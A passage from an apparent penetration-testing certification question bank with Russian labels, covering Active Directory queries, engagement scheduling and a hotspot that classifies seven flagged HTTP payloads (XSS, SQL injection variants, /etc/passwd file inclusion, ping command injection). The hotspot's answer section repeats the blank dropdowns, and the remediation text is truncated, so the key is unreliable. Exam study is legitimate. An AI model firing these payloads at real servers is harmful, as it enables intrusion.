- A. `dsrm -users "DN=company.com; OU=hq CN=users"`
- B. `dsuser -name -account -limit 3`
- C. `dsquery user -inactive 3`
- D. `dsquery -o -rdn -limit 21`

**Правильный ответ: D**

**Секция: (нет)**

## Explanation

### Объяснение/Справка:

#### ВОПРОС 65

Which of the following properties of the penetration testing engagement agreement will have the LARGEST impact on observing and testing production systems at their highest loads?



- A. Creating a scope of the critical production systems
- B. Setting a schedule of testing access times
- C. Establishing a white-box testing engagement
- D. Having management sign off on intrusive testing

**Правильный ответ:** B

**Секция:** (нет)

**Explanation**

**Объяснение/Справка:**

## **ВОПРОС 66**

### **HOTSPOT**

Instructions:

Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in the future.

*If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.*

You are a security analyst tasked with hardening a web server.

You have been given a list of HTTP payloads that were flagged as malicious.

**Горячая область:**

## Payloads

```
#inner-tab"><script>alert(1)</script>
```

```
item=widget';waitfor%20delay%20'00:00:20';--
```

```
search=Bob"%3e%3cimg%20src%3da%20oneerror%3dalert(1)%3e
```

```
logfile=%2fetc%2fpasswd%00
```

```
site=www.exea'ping%20-c%2010%20localhost'mple.com
```

```
item=widget%20union%20select%20null,null,@@version;--
```

```
item=widget'+convert(int,@@version)+'
```

## Vulnerability Type

▼
Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

▼
Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

▼
Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

▼
Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

▼
Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

▼
Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

▼
Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

## Rem

Parameterized
Preventing ext
Input Sanitiza
Input Sanitiza
Input Sanitiza

Parameterized
Preventing ext
Input Sanitiza
Input Sanitiza
Input Sanitiza

Parameterized
Preventing ext
Input Sanitiza
Input Sanitiza
Input Sanitiza

Parameterized
Preventing ext
Input Sanitiza
Input Sanitiza
Input Sanitiza

Parameterized
Preventing ext
Input Sanitiza
Input Sanitiza
Input Sanitiza

Parameterized
Preventing ext
Input Sanitiza
Input Sanitiza
Input Sanitiza

Parameterized
Preventing ext
Input Sanitiza
Input Sanitiza
Input Sanitiza

**Правильный ответ:**

## Payloads

```
#inner-tab"><script>alert(1)</script>
```

```
item=widget';waitfor%20delay%20'00:00:20';--
```

```
search=Bob"%3e%3cimg%20src%3da%20oneerror%3dalert(1)%3e
```

```
logfile=%2fetc%2fpasswd%00
```

```
site=www.exa'ping%20-c%2010%20localhost'mple.com
```

```
item=widget%20union%20select%20null,null,@@version;--
```

```
item=widget'+convert(int,@@version)+'
```

## Vulnerability Type

▼
Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

▼
Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

▼
Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

▼
Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

▼
Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

▼
Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

▼
Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

## Rem

Parameterized
Preventing ext
Input Sanitiza
Input Sanitiza
Input Sanitiza

Parameterized
Preventing ext
Input Sanitiza
Input Sanitiza
Input Sanitiza

Parameterized
Preventing ext
Input Sanitiza
Input Sanitiza
Input Sanitiza

Parameterized
Preventing ext
Input Sanitiza
Input Sanitiza
Input Sanitiza

Parameterized
Preventing ext
Input Sanitiza
Input Sanitiza
Input Sanitiza

Parameterized
Preventing ext
Input Sanitiza
Input Sanitiza
Input Sanitiza

Parameterized
Preventing ext
Input Sanitiza
Input Sanitiza
Input Sanitiza

Секция: (нет)  
Explanation

Объяснение/Справка: